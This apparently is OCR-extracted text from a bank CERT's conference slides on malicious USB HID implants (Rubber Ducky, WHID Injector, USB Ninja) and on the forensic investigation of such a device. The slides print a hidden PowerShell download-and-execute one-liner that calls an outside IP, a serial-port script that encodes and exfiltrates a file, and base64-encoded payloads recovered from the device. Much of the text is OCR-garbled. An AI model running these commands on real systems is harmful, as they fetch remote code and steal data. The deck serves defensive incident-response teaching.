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INTRODUCTION

Go gle hid device $ Q

All Images Shopping Videos News More Settings Tools

About 107,000,000 results (0.46 seconds)

A human interface device or HID is a type of computer device s
usually used by humans that takes input from humans and gives
output to humans. The term "HID" most commonly refers to the
USB-HID specification.

www.drivereasy.com

Human interface device - Wikipedia
https://en.wikipedia.org/wiki’Human_interface_device
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INTRODUCTION

Back in December 30,2013
* The NSA “toolbox” leaked to the press
* Hardware and software implants in use since 2008, at least...

HOWLERMONKEY -
~ HOWLERMONKEY - YELLOWPIN
TUR R
COTTONMOUTH - 1 e
I! = - _
1.23" (31.25 mm) 2" (50.8 mm) x 0.45" (11.5 mm)
x 0.48" (12.2 mm)
(Actual Size)
HOWLERMONKEY - HOWLERMONKEY -
SUTURESAILOR FIREWALK
A - R
TRINITY g 1.20° (30.5 mm) 0.63" (16 mm) x
x0.23" (6 mm) 0.63" (16 mm)

* Originally cost about $20,000
* Far cheaperimplants designed since

COTTONMOUTH-1 is a HID implant - TRINITY embeds a microcontroller and memory, HOWLERMONKEY is a radio-frequency module used for remote control

SOCIETE
GENERALE TRIPLESEC #3| TLP: WHITE | 2019.05.16 | 6



RUBBER DUCKY

SOLD BY HAKS SINCE 2010-11

* One of the earliest widely available malicious HID device
Connectivity: USB
External communication method: None

Payload storage:
* Payload uses a dedicated compiled scripting language
* Stored on a FAT32 SD card (payload.bin)

Launch method: automatically when plugged or via push-button

Exfiltration method: through the executed payload, none via the board

Visual aspect: USB stick by default, can probably be embedded in another type of device
Price: $45

Basic capabilities, no way to remotely interact with the device
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WHID INJECTOR

w
~
-
a
“
w

CREATED BY LUCA BONGIORNI IN 2017
* Presented at Hack In Paris 2018, Defcon, BlackHat US/EU, etc.
* Forensic detection methods published by the author

Connectivity: USB, Wi-Fi
External communication method: Wi-Fi (4G for WHID Elite)
* Can create an access point or join an existing network
Payload storage: on the local chip
Launch method: Wi-Fi or automatically when plugged
Exfiltration method: Wi-Fi or serial port (Win 10+, Linux, etc.) embedded on the board
Visual aspect: USB key by default, can be embedded in another type of device
Price: $15 for the WHID ($20 for USB hub + a mouse)

Most complete device, possibility to live interact and exfiltrate data though

Wi-Fi. Can be hidden in a real device
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USB NINJA

CREATED BY THE RFID RESEARCH GROUP IN 2018
* Based on Mike Grover (@_MG_) work =» https://mg.lol/blog/

Connectivity: USB, Bluetooth Low Energy (BTLE)

External communication method: BTLE

* Bluetooth password is hardcoded
Payload storage: as a compiled Arduino program on the board
Launch method: automatically when plugged or triggered via Bluetooth remote control
Exfiltration method: via the executed payload, none via the board
Visual aspect: functional USB cable (Micro USB, USB Type C & Lightning)
Price: $180 (for the complete kit : USB cable / magnetic ring / BTLE remote control)

Interesting device by its form factor, possibility to remotely launch the

payload though BTLE
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GAIN REMOTE ACCESS

Remember Mr. Robot’s season 1 episode 6:
* Darlene drops a USB stick in a parking so Elliot can gain access to the prison’s network

* This technique is used by Red Teams during their missions

Classical payload is to call a one-liner PowerShell:

powershell.exe -nop -w hidden -c $Z=nsw-object net.webclient;$Z.proxy=[Net.WebRequest]::GetSystemiebProxy() ;$2.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $2.downloadstring('http://192.168.137.219:3080/h

Other opportunities?
* Use “lolbins” to download and execute malicious files
- certutil.exe
- bitsadmin.exe
- etc.
* Drop embedded files within the payload and execute them

LOLBINS: “Live-Off-the-Land Binaries” - legitimate files available on a system’s default installation that can be used for malicious purposes
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EXFILTRATE DATA

With WHID Cactus, you can use a serial port to exfiltrate data

On Windows 10, serial ports are automatically handled by the system
* Inour case, this attack does not bypass USB DLP solution

Sdata=[Convert]: :ToBasef45tring( (Get-Content -Path C:\Temp\secret.jpg -encoding byte)) r
0 . Sarr = §data -split "(.[{500})";
The payload IS Slmple: foreach ($port Ii:n [System.IO0.Ports.SerialPort] : :GetPortNames () )
1{
. . oreac $el in $Sarr
 Read and encode the file we want to exfiltrate e e ’
Scom=(new-Ckiect System.IO.Ports.SerialPort Sport, ,None, 2 ,one) ;
. Scom.cpen ()
* lterate though all available COM ports Soom. RiiceLine ("S=:isIENFIL:"sbel)
Start-Sleep -Milliseconds 7
. . Scom.Close ()
* Tryto write an encoded file on each COM port T’
}:

From an attacker’s viewpoint, we need to be able to access the Web interface of the device in order to download exfiltrated data
* On close range: just connect to the WHID access point
* Longerrange: connect the WHID to a public Wi-Fi available from outside
* Very long range: connect through a 4G network (with the future WHID Elite version)

* No range at all: go to the office to pick up your malicious devices (you or someone hired to do this job... you know like an evil maid...)

“EVIL MAID”: threat model for unattended devices that may be accessed by potentially malicious third parties
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IT ALL STARTS WITH AN ALERT

As an Incident Response team, how would you respond to BEE_DO BEE_DO
BEE-DO BEE-DO

a situation involving malicious HID devices?

Usual starting point: somehow an alert is raised

* Your data leak prevention system is triggered
* Analertinyour SIEM fires

* Auser reports suspicious behavior

“SIEM”: Security Information and Event Management tool -
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DIGITAL FORENSICS AND INCIDENT RESPONSE

The basic IR / forensic analysis

Collect and raw
dump suspected
devices
>4
Gather related + External device / USB usage
devi Analyze dumps . A
evices « Program execution

/ ;

File or folder opening

~

File download

J

Extract Indicators

Run Threat hunting of Compromise
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Event ID: 600 Source: powershell

DIGITAL FORENSICS oy e

Description Provider "<provider name>" is <state>.

External device / USB usage and program execution - e

SequenceNumber=1

HostName=ConsoleHost

.
+ Lots of useful artifacts: Google  amcachs anasis ansifeypepat v a it R4
Hostld=440e0543-af9a-4504-afc7-dabf03b09f79
Tous Actualité May Image Vidi s Daramétre Outi EngineVersion=
* Amcache.hve — ey
R Pipelineld=
* MRU run commands " . Commarahiaat
; 2 CommandType=

- SOFTWARE hive registry ' v s s . e S

CommandLine=

i i Amcache stores useful information regarding program execution
* SYSTEM h ve regIStry = S Sample event from Windows audit logs

* Plugand Play log files _ :
USB Devices  Artifacts | 2013-04-0
e Prefetchfiles VID_1BAF&RID_S208EMI_ LUSB Devices  Artifacts | 2019-04-0
VID_1B4F&PID_3208&MI_D USB Devices  Artifacts | 2019-04-0

* Windows event logs X N USB Devices  Artifacts  2019-04-0

VID_1BAF&FID_3208

USB devices leave timestamped traces of usage in the Plug n’ Play log files (capture above) and the Registry (capture below)

Driver Name Key Last Updated Date Description Key Bus Reported Description Class Value
mouhid.sys 146 HID-compliant mouse hid/vid_1baf&pid_9208&mi_02&col01/8&16b27fde&0&0000 maouse
kbdhid.sys HID Keyboard Device hid/vid_1b4f&pid_9208&mi_02&col02/8&16b27fde&0E0001 keyboard
mouhid.sys HID-compliant mouse hid//vid_413c&pid_301a/78&17da5b2&0&0000 mouse
ushhub3.sys Generic USB Hub ush/vid_04248&pid_2422/5&1548b049&08&1 ush
ushser.sys USB Serial Device (COM4)  ush/vid_1b4f&pid_9208&mi_00/7&2fc8707dR08&0000 LilyPad USB ports
hidusb.sys USB Input Device usbyvid_1bafEpid_9208&mi_02/7&21c8707d&0&0002 LilyPad USB hidclass
usheegp.sys USB Compasite Device ushy/vid_1b4f&pid_9208/hidfg LilyPad USB ush
hidush.sys USB Input Device usby/vid_413c&pid_3013/683b696fI4R081 Dell MS116 USB Optical Mouse  hidelass
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DIGITAL FORENSICS

External device [ USB usage and program execution

[225 / Ox00el]

Source Hame:

Microsoft-Windows-Kernel-FnP

Strings: [
11832,
Useful Wind IDs i : 17e

seru indows event IDs in our case: '
'"\Device\HarddiskVolume4\Windows\System32\WindowsPowerShell\vl.O\powershell.exe',
'45', 'USB\VID 1B4F&PID 9208&MI_00%7&2fc8707d&0&£0000"

1
Computer Mame: DESKTCP-UBOCH43
* PnP:

Record Number: 1969

Event Level:

* EventID 20001: Plug and play driver install attempted.

3

& %system root%|\System32\winevt\logs\System.evtx (win 7/8/10)

* EventID 225: The application System with process id xxx stopped the
removal or ejection for the device USB\VID_xxXX&PID _XXXX\XXXXXXXXXXXX.
& %system root%)System32\winevt\logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx

* PowerShell:
* EventID 400: upon the start of any local or remote PowerShell activity.
* EventID 403: upon the end of the PowerShell activity.

» EventID 600: indicating the onset of PowerShell remote activity on both
source and destination systems.

& %system root%)\System32\winevt\logs\Windows PowerShell.evtx
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Event ID 225 means your USB device cannot be removed
because it's currently used by the listed process...

in our case PowerShell...

This nice “side effect” makes the link between PowerShell
usage and our suspicious USB device



DIGITAL FORENSICS

External device /[ USB usage and program execution

start: 136 qength: 977 =

Input B e . WO
JABKAGEAdABhADBAWWBDAGBAbgB2AGUACgBOAFBADgABAFQAbWBCAGEACWB LADYANABTAHQACGBPAGAAZWAOACYARWB LAHQALQBDAGBAbgBBAGUA
bgBOACAALQBQAGEAdABOACAAQWABAFWAVAB1AGBACABCAHMAZOB] AHTAZ(BOAC4AagBwAGCATAATAGUADGBE j AGBAZABPAGAAZWAGAGIAcQBBAGUA
KQApADSAJABhAHIACgAQADBATAAKAGQAY(QBOAGEATAATAHMACABS AGKAdAAGACTAKAAUAHSANQAWADAATQAPACTAOWBMAGBACGE LAGEAYWBOACAA
KAAKAHAAbWBYAHQATABpAG4ATABbAFMAe(QBZAHQAZQBTACAASQBPAC4AUABVAHIAdABZACAAUWB 1AHIAaQBhAGWAUABVAHIAdABdADOADgBHAGUA
dABQAGBACgBOAEAAYQBTAGUACWAOACKAKQB7AGYAbwBYAGUAY(QB] AGQATAAOACAAIABLAGWATABPAGAATAAKAGEACGBYACKAewAKAGMADWBTADBA
KABUAGUAdwATAEBAYgBAGUAYwBOACAAUWBSAHMAJAB1AGRALgBIAEBALgBQAGBACgBBAHMALGBTAGUACGBPAGEADABQAGBACGBBACAAIABWAGEA
cgBOACWAMWA4ADQAMAAWACWATgBVAGAAZQASADGALABVAGAAZOAPADSAIAB]AGBADQAUAGBACABLAGAAKAAPADSAIAB] AGBADQAUAFcAcgBpAHQA
ZOBMAGKAbgB1ACgAIgBTAGUACGBpAGEADABFAFgARGBIAEWAOQAIACSAIABLAGWAKQA7TAFMAdJABhAHIAdAATAFMADABLAGUACAAGACRATOBPAGWA
bABpAHMAZQB j AGBAbgBKAHMATAAXADAAMAATACQAYWBVAGRALBDAGWAbWBZAGUAKAAPAHBAOWBIADSA

start: 182 time: @ms

Output end: 137 length: 732 @ ] O ra
i 1

length: 35  lines:

$.d.a.t.a.=. [.C.o.n.v.e.r.t.].5.:.T.0.B.a,5.€8.6.4.5. tar iun.g. (. (.G.e.t.-.Coouna thean.t, .—.P.a.t.h.
.C.i.\.T.€um.p.\.S.€.Cur €.t 0aj.p.g. .—.€.n.c.0.d.i.n.g. by tue.)u ) a.r.r. .=. .$.d.a.t.a. .-.s.p.L.1i.t.
(e {.5.0.0.1) f.o.r.e.a.c.h. .{(.$.p.o.r.t. .i.n. .

[.S.y.s.t.e.m...I.0...P.o.rutus. . W Seearaiva. LLPooLruta ], i tuGoes tuPooara tuNauamaessa (L) ) o {u fuouriesanche W (a
.$.e.1. .iune W$.aur.rd) W {LS.cooume=(unieaw.—.0.b. e CL T
.S.y.s.t.e.m...I.0...P.o.r.t.s5...5.e.r.i.a. LLP.oO. T, T
.$.p.0.r.t.,.3.8.4.0.0.,.N.0.n.e.,.8,,.0.n.e.).;.$.C.0Muu 0paan. (W) Co0em, W raintee Loiun. e,
(.".S.e.r.i.a.LLE.X.F.I.L.: +.%.e.1.).;.5.t.a.r.t.-.5. Le.e.p. .-.M.i.L.1l.i.s.e.c.0.n.d.s.
.1.0.0.;.%.c.o.m .. Colows e (a ) a0 3

<Event xmins="http://schemas.microsoft.com/win/2004/08/events/event">
<System>

<Provider Name="PowerShell" />

<EventlD Qualifiers="0">600</EventiD>

<Level>d</Level>

<Task>6</Task>

<Keywords>0x0080000000000000</Keywords>

<TimeCreated SystemTime="2019-04-03T15:48:24.88967242" />
<EventRecordID>1</EventRecordID>

<Channel>Windows PowerShell</Channel>
<Computer>DESKTOP-UBOCH43</Computer>

<Security />

</System>

<EventData>

<Data>RegistryStarted ProviderName=Registry
NewProviderState=Started

SequenceNumber=1

HostName=ConsoleHost
HostVersion=5.1.16299.1004
Hostld=7177053a-e499-43f0-b6ca-11f7a9bd2edb

$data = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-

Content -Path Ci\Temp\secret.jpg)));foreach ($port in
[System.I0.Ports.SerialPort]::GetPortNames()){$com=(new-Object
System.I0.Ports.SerialPort

$port,38400,None, 8,0ne) ; $com.open();$com.WriteLine("SerialEXFIL:"+$data);$com.Close(

)}

Base64-encoded payload from a Windows event (right) decoded to discover relevant artifacts (center/down)

SOCIETE
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HostApplication=powershell.exe -nop -w hidden -Enc
JABKAGEAdABhADOAWWBDAGEAbgB2AGUACgBOAFOADEABAFQAbWBCAGEACWBIADYANABTAHQACEBPAGAAZWAD
ACgARWBIAHOALOQBDAGBAbgBOAGUAbgBOACAALOBOAGEAdABOACAAQWABAFWAVABIAGOACABCAHMAZQBJAHIAZ
QBOAC4AagBWAGCAIAAtAGUAbEBJAGBAZABPAGAAZWARAGIAeQBOAGUAKOAPADSAJABhAHIAcgAgADOAIAAKAGQA
YQBOAGEAIAAtAHMACABsAGKAdAAgACIAKAAUAHSANQAWADAATQAPACIAOWBMAGBACEBIAGEAYWBOACAAKAAKA
HAAbwByAHQAIABPAGAAIABDAFMAeQBZAHQAZQBtACIASQBPACAAUABVAHIAJABZACAAUWBIAHIAZQBhAGWAUA
BvAHIAdABdADoAOgBHAGUAdABQOAGBACgBOAEAAY OBLAGUAcWASACKAKOQBTAGY AbwBYAGUAYOBJAGEAIAACACA
AJABIAGWAIABpAGAAIAAKAGEAcEBYACkAewWAKAGMAbWBTADOAKABUAGUAdWATAEBAYEBgAGUAYWBOACAAUWBSA
HMAdABIAGOALEBIAEBALgBOAGBACgBOAHMALEBTAGUACEBpAGEADABQAGEAcgBOACAAIABWAGBACgBOACWAMW
AIADQAMAAWACWATEZBYAGAAZOASADEALABVAGAAZQAPADSAJABIAGEADQAUAGBACABIAGIAKAADADSAIABJAGBA
bQAUAFcAcgBpAHOAZOBMAGKAbEBIACEAIZBTAGUACEBpAGEADABF AFgARBIAEWADZAIACSAIABIAGWAKQATAFMA
dABhAHIAdAATAFMAbBABIAGUACAAZACOATOBpAGWAbABpAHMAZQBjAGSAbgBKAHMAIAAXADAAMAATACOAYWBY

AGUAHBDAGwAthzAGUAKMHOAOWBSAD&A

EngineVersion=
Runspaceld=
Pipelineld=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLline=</Data>
<Binary></Binary>
</EventData>

<fEvent>

TRIPLESEC #3| TLP: WHITE | 2019.05.16 | 18



SUSPICIOUS USB DEVICE

So far we only know that a USB device was used to launch a PowerShell payload...

KEEP CALM

AND

COLLECT
ALL DEVICES
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SUSPICIOUS USB DEVICE

The basic rule: do not plug any suspicious device
without prior analysis

News > World > Americas > US politics

Secret Service agent put suspicious
USB stick taken from Chinese Mar-a-
Lago intruder in his computer,

triggering immediate download of nould |
malware ec‘,etser\l'\":e.s
‘Out-of-the-ordinary’ incident revealed by agent during Yvii- = eves\t‘a‘z‘:a“

Tam Embury-Dennis | @tomemburyd | 1 day ago | 147 si “o o“e. ?op‘“g ‘“

He]" Se
———————m 111
Randon’r: rgt Servi yand®

Ce: DO 1, e
Omputers n't Plug sus ~waker _
Pect ygg Stick
CKs into

\

ays 280
ke ! 2 day
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SUSPICIOUS USB DEVICE ANALYSIS

|

No risk? Really?

Mr. Self Destruct
project

from

Mike Grover

USB killer fries systems it is connected to by delivering high-voltage current when plugged-in.
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SUSPICIOUS USB DEVICE ANALYSIS

\\
The basic process: TEARDOWN m@]z THIRES

Externalinspection "

S,
r“\

Internalinspection

1.

2

3. Componentidentification

4. Interaction with the device: data dump
5

Dump analysis
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THE SIMPLE CASE: RUBBER DUCKY

1. Extract the SD card from the device

2. Use your favorite forensic tool to retrieve current and deleted files

Payloads can be decoded using a Perl script or online
e https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Decode/ducky-decode.pl
e https://ducktoolkit.com/decode

Remember that payloads depend on the keyboard layout ©
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https://ducktoolkit.com/decode

ATmega16U4/ATmega32U4

WH I D I NJ ECTO R 8-bit Microcontroller with 16/32K bytes of ISP Flash and
USB Controller

In our case the WHID injector was hidden inside a mouse

BUT

it could be hidden inside any USB device with enough room

.| EN25Q32B
| 32 Megabit Serial Flash Memory

+ Single power supply operation
- Full voltage range: 2.7-3.6 volt

i, * Serial Interface Architecture
i - SPI Compatible: Mode 0 and Mode 3
y

« 32 M-bit Serial Flash
" - 32 M-bit/4096 K-byte/16384 pages
- 256 bytes per programmable page

« Standard, Dual or Quad SPI

- Standard SPI: CLK, CS#, DI, DO, WP#
- Dual SPI: CLK, CS#, DQy, DQ., WP#

- Quad SPI: CLK, CS#, DQy, DQy, DQy, O
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SPI MOSI

WHID INJECTOR - AL

-~
g
o
wr
5
&

Let’s dump this flash memory chip!
1. Unsolder it to avoid any potential interference

Solder it back to a breakout board

2
3. Connect to the Serial Peripheral Interface (SPI) pins
4. Invoke the holy spirit of electronics...

5

And ...

i

. n =
SIS

<
W
-
3

Tl ae
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6C6F6974 22202270 "version":"2.7.51" ,"accesspointmode":1 ["ssid i

3139322E 3136382E |assword“'"DotAgency|‘ "chunnel" 6 |“h1dden" 0 I"'I.oca'L_IP 5 o

WHID INJ ECTOR 70646174 655F7573 | |1.1","gateway":"192.168.1.1","subnet":"255.255.255.0","update_us
7365726E 616D6522 | | ername" : "admin", "update_pusswurd" :"hacktheplanet", "Ftp_usernume
6266564 223A302C .:"ftp-admin","ftp_password":"hacktheplanet","ftpenabled":@,
222(2277 656(636F | | "esportalenabled":0,"welcome_domain":"ouraccesspoint.com", "welco
73697465 315F7265 | |[me_redirect”:"/welcome”,"sitel_domain":"fakesitel.com","sitel_re
65646972 65637422 | |direct":"/login","site2_domain":"fakesite2.com", "s‘LteZ,redirect"
65646972 65637422 .:"/sign-in","site3_domain":"fakesite3.com","site3_redirect"
. ©6C61794C 656E6774 :"/authenticute","s1.te_other'_r‘ed1r‘ect"'"/user‘/log‘i.n","DeluyLengt
Dump the Chlp and try to read some data 223A222F 7061796C | |h":2000,"LivePayloadDelay":3000, "autopwn":0, "autopayload":"/payl
eee FFFFFFFF FFFFFFFF | | oads/payload. txt "} . . oottt et e e e e et i e e eenn

FFFFFFFF FFFFFFFF .ox /esploit.json W#t $ % ...l

Lo

= Tools sudo flashrom -p ft
flashrom v1.9® on Darw ) ( b
flashrom is free software, ge he source

Calibrating delay loop...

Found Eon flash chip "EN25Q32(A/B
No operations were speci

- Tools flashrom -p ft:

flashrom v1.0® on Darwin 1

flashrom i1s free software, get the source code at http lashrom.org

Calibrating delay loop... OK.
Found Eon flash chip "EN250Q3: (40 B, SPI) on ft223

flashrom is a tool that can automatically extract the content of various chips
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WH | D |NJ ECTOR https://prog2017.rmll.info/IMG/pdf/hydrabus rmll.pdf

If the targeted chip is not supported by a tool such as flashrom, you can use hardware tools
that allow you to talk directly with the chip such as HydraBus

i
: EN25Q32B

Table 4B. Instruction Set (Read Instruction)
Instruction Name | Byte1 | Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 n-Bytes
Code
P Read Data 03h AZ3-A16 A15-AB AT-AD (D7-D0) (Next byte) continuous
Fast Read OBh | A23-A18 | A15-A8 AT-AD dummy (D7-D0) (c':ﬁ:‘nfgf;}
(one byte
g‘”;;o““’”‘ Fast | aph | Az3-ade | AdS-AB AT-AQ dummy {7-00, ... (1) | per 4 clocks, ' :
continuous) | import serial
AT-AD, (one byte import struct
Dual IfO Fast Read | BBh Az3-ABE) | ) | (0700, ) (1) per 4 clocks, ser = serial.Serial('/dev/hydrabus', 115200)
Y continuous
" (one byte L .
Quad IO FastRead [ EBh | 22080 | (dummy, ) o @ per 2 clacks, for 1 in xrange (20):
dummy 4} | D700} sontinuous ser.write ("\x00")

if "BBICL1™ not in ser.read(5):
print "Could not get into bbIO mode”
Quit ()

ser.write ("\x01")

> spi if "SPIL"™ not in ser.read(4):
Device: SPI1 print "Cannot set SPI mode"
GPIO resistor: floating quit ()

Mode: master

Frequency: 320khz (650khz, 1.31mhz, 2.62mhz, 5.25mhz, 10.50mhz, Z2Zlmhz, 4Zmhz) addr = 0

Polarity: 0O buff=""

Pha 0 print "Reading data"

Bit r: MSB first while (addr < 4096*size):

spil> [ 0x03 0x00:3 hd:16 ] ser.write ("A\x04'\x00\x04\x10x00")
ser.write{"\x03")

/Cs ENEBLED :
WRITE: 0x03 0x00 0x00 0x00 ser.write(struct.pack ('>L", addr) [1:])
ser.read(l)

00 00 08 25 00 00 10 25 00 00 18 25 00 00 20 25 | ...%...%...%.. %
buff += ser.read(4096)
/CS DISABLED addr+—1096
spil> print """
SOCIETE end = time.time ()
GENERALE TRIPLESEC #3| TLP: WHITE | 2019.05.16 | 27 out = open('/tmp/image.bin', 'u')

out.write (buff)
out.close()


https://prog2017.rmll.info/IMG/pdf/hydrabus_rmll.pdf

WHID INJECTOR

Data extraction

Wi-Fi configuration

22202270 .{"version":"2.7.51", "accesspcnntmode":l "ssid": "Exp'l.ult" "p
3136382E |asswurd“"‘DotAgency|‘ "channel" 6,"hidden": _IP":"192.168.
655F7573 | [1.1","gateway":"192.168.1.1","subnet™:"255. 255 255.0", "updute us
616D6522 | | ername" : "admin", "update_password":"hacktheplanet", "Ftp_usernume
223A302C " ftp- ndmn","Ftp_password":"hncktheplanet",”Ftpennb'led":@,
656C636F | | "esportalenabled"”:@, "welcome_domain": "ouraccesspoint.com", "welco
315F7265 | |me_redirect":"/welcome"”,"sitel_domain":"fakesitel.com","sitel_re
65637422 | |direct":"/login","site2_domain":"fakesite2.com", "51te2,red'i.r'ect"
65637422 .:"/sign-in","site3_domain":"fakesite3.com","site3_redirect"
656E6774 :"/authentlcate","si.te_other'_r'edlr'ect":"/user/login","DeluyLengt
7061796C | |h":2000,"LivePayloadDelay" :3000, "autopwn":@, "autopayload":"/payl
FFFFFFFF | [oads/payload. tXt" ). ... oo it i i ittt e te i i e e ennens
FFFFFFFF X /esploit.json
[AAAAAA?| |onccooonooo0000000000000000000000000000006606600G50000
And... some intel about the attacker...
73657273 | | ng real: %d Magic byte is wrong, not @xE9 UNKNOWN C:\Users
6172655C \CryptB~M3lon\AppDatu\Locul\Arduin015\packages\esp82|66\hm‘dware\
©6(000000 | | esp8266\2.3.0\cores\esp8266 i hrow b functi
63616(5C | | __cxa_pure_virtual -FAIL- |C:\Users\Crypt@®-M3lon\AppData\lLocal\
3236365C | JArduinol5\packages\esp8266\hardware\esp8266\2.3.0\cores\esp8266\
433A5C55 | | core_esp8266_main.cpp %08x 2_3_0 loop_task __yield C:\U
61726477 | | sers\Crypt@-M3lon\AppData\LocalN\Arduinol5\packages\esp8266\hardw
65000000 | | are\esp8266\2.3.0\cores\esp8266\spiffs_api.h name close
65000000 | | _getStat size position seek flush read write
SOCIETE

GENERALE

The device embeds an ESP8266 microcontroller which use SPIFFS
to manage files storage on the external EN25Q32 SPI flash

Payloads

FFFFFFFF 8 - /payloads/exfil.txt W, . oL e

FFFFFFFF

FFFFFFFF

FFFFFFFF

B6EG53A70 |Delay Press:131+114 Delay Printline:cmd.exe PrintLine:p

42324147 | | owershell.exe -nop -w hidden -Enc JABKAGEAdABhADOAWWBDAG8AbgB2AG

426(4148 | | UAcgBOAF@AOgABAFQAbWBCAGEACWBTADYANABTAHQACGBpAGA4AZWAOACGARWBLAH

42634148 | | QALQBDAG8AbgBOAGUAbGBOACAALQBQAGEAABOACAAQWAGAFWAVABTAGOACABCAH

47494165 IMAZQBJAHIAZQBOAC4AagBwAGCATAAtAGUAbgB JAGBAZABpAG4AZWAGAGIAe

476B4164 | | QBOAGUAKQApADSAJABhAHIAcgAgADOATAAKAGQAYQBOAGEATAAtAHMACABSAGKAd

48414162 | [ AAgACIAKAAUAHSANQAWADAAfQApACIAOWBMAGBACGBLAGEAYWBOACAAKAAKAHAAD

43344155 | | wByAHQAIABpAG4ATIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABVAHIAdABZzAC4AU

59514274 |wB1AHIAGQBhAGWAUABvAHIAdABdADOAOgBHAGUAdABQAGBACgBOAE4AY(QBtL

4941416B | | AGUACWAOACKAKQB7AGYAbwBYAGUAYQBJAGGAIAAOACAAIABLAGWATIABpAGAATAAK

55774235 | | AGEAcgByACkAewAkAGMAbwB tADOAKABUAGUAdWALAE8AYgBgAGUAYWBOACAAUWBS

63674230 | | AHMAdAB1AG@ALgBJAEBALgBQAG8ACgBAAHMALgBTAGUACgBpAGEAbDABQAGBACGB®

76414734 | ACAAJABWAG8ACgBOACWAMWA4ADQAMAAWACWATgBVAG4AZQASADgALABVAG4

70414851 | | AZQApADSAJABjAG8AbQAUAGBACABLAGAAKAAPADSAJABjAGS8AbQAUAF cAcgBpAHQ

60414777 | | AZQBMAGkAbgB1ACgATgBTAGUACgBpAGEADABFAFgARGBIAEWAOGAIACSAIABLAGw

6A414738 | | AKQA7AFMAJABhAHIAQAAtAFMAbABLAGUACAAGACOATQBPAGWADABpAHMAZQBIAGS

30414F77 | AbgBkAHMATAAXADAAMAA7ACQAYWBVAGOALgBDAGWAbWB ZAGUAKAApAHRAOW

FFFFFFFF | [BOADSA. rrrppepe||/. . /payloads/web_delivery.txt W o e

FFFFFFFF || ....... FFFFFFFF
| FFFFFFFF
FFFFFFFF
68696464 | | / .Delay Press:131+114 PrintlLine:powershell.exe -nop -w hidd
3A476574 | |en -c $Z=new-object net.webclient;$Z.proxy=[Net.WebRequest]::Get
3A446566 | | SystemWebProxy();$Z.Proxy.Credentials=[Net.CredentialCache]: :Def
393A3830 | |aultCredentials;IEX $Z.downloadstring('http://192.168.137.219:80
FFFFFFFF | |/ LBB/hackafun ) e

CCCEEECEE
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$data = [Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes((Get-
WH I D I NJ ECTOR Content -Path C:\Temp\secret.jpg)));foreach ($port in
[System.I0.Ports.SerialPort]::GetPortNames()){$com=(new-Object
System,I0.Ports.SerialPort

. $port,38400,None,8,0ne) ; $com.open();$com.WriteLine("SerialEXFIL:"+$data);$com.Close(
Stolen data extraction 1

Remember the PowerShell command line run on the targeted computer?

SOCIETE
Is there any chance to recover stolen data from the flash dump? ‘ C E RT ‘ GENERALE

S he  length: 39165 =

Input m;’;ﬂ; 2 100 Llines: , B =
4c604€76 | [F | /93/4AAQSkZIRGABAQEBLAE SAAD/4UUXaHROCDOvL25zLmFkb2]1LmNy
ﬁéggigg "53‘?;;‘;32:'6“g;5;3';‘;’;"";2’;‘23;;;:;:;3;E;Z;g;ﬂg"ﬂg?;g;‘;q;fglgﬁg /93 /4AAQSkZIRGABAQEBLAESAAD/4UUXaHRAcDovL25zLmFkb2J 1LMNvbS94YXAVMS4wLwABP3hwYWNrZXQ
en a ode z0n, m| m>z0m
4p54637A | |d 4 40nht CHR g £ AQ0?79v7SARL i 2 DY2TDUz1 iMIM gYmVnaW49TIu+7vyIgaWQ9I1lc1TTBNcEN1aGlIenJU3p0OVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG52z0n
gi:g;;g: o :g ]Rwspwd:RyOIXZ;L vthggz QOT gLXJkZ R w g9ImFkb2J10m5z0m11dGEVIiB40nhtcHRrPSIBZG9iZSBYTVAgQ29yZSAOLjIuMiljMDYzIDUZLjMIMTczF
€ sbn cmRm o WU 8wV nczim X 1lze . . . . . -
48494341 :vxgwnmlﬂnuglcngpmkz]pszNJcmlmlvm ‘Sl, QIlIKHA NSwgMjAwOC8wNy8yMi@x0DoxMToxMiAgICAgICAQI j4KICAgPHIkZ]jpSREYgeGlsbnM6cmRmPSJodHRwOi8
30637938 | la1CAQICAQTICAGeG1sbnM6ZGMITmhAdHAG 9 l’q vd3d3LnczLm9yZy8x0Tk5LzAyLzIyLXIkZilzeW58YXgtbnMjIj4KICAQICAgPHIkZjpEZXNjcmlwdGlvbi

sersons hpmb;k,xwanglg,cgma,zgmga;;g“;u ”Q "451 BYZGY6YWIvdXQ9T iIKICAGICAGICAGICAGEG1sbnM6ZGMIImhOdHABLYIwdXISLmIyZyIkYya LbGVLZWSOC

64434928 hHQ+C\AgICAgICAgICAgICAQInyZGYGbGkgeGlsOmxhbm(QInthGVm %o y8xLjEvIj4KICAgICAgICAgPGR]jOmZvemlhdDSpbWFNZS9qcGVnPCIkYzpmb3JtYXQ+CiAgICAgICAQIDxk
Tretrees |[FRU DR LLCAMUEL U g e dns 2P aaal CAGLEAGL CAALCARLITNG fd Y2zp@aXRsZT4KICAGICAQICAGICAQPHIKZ] pBbHQ+C iAgICAGICAGICAGICAGIDXyZGY6hGkgeG1s0Omxhbme
FFFFFFFF 9IngtZGVmYXVsdCI+TEQHTYBDRVIUICOgUETTVEUGMjwvcmRmOmxpPgogICAgICAgICAgICA8L3IkZ] pBbH

Q

A ’9 C 6 Q+CiAgICAGICAQIDWVZGMEAGBbGU+CiAgICAGIDWYcmRMOKRc2NyaXBBaW9uPgogICAgICASCMRMOKR 1c
FEFFFFFF v 2NyaXBOaW9uIHIKZjphYmo1dD@iIgogICAGICAGICAGICBAbWXUCZp4bXAOImhOdHAGLYIuCy5hZGOiZS5]
aLiniis 0‘» b2@veGFwLzEuMC81CiAgICAGICAGICAGIHNtbG5Z0nht cEdIbWCIImMhOdHAGLYIuCy5hZ691Z55] b20veGF
FEFFFFFF $ {3 )L ZEUMCINL212y81Pgog TCAGTCAGTCABEG1WOK1 LIGFKYXRhRGFOZT4yMDEXL TEWLTA3VDE4D] T10jM1K2
i 9 Q- &PCI4DXAGTWVEYWRhGFEYXR1PgogTCAGTCAQTCABEG1WOK1YZG LmeURhAGU-+1 AXMSOXMCOWN1QXN
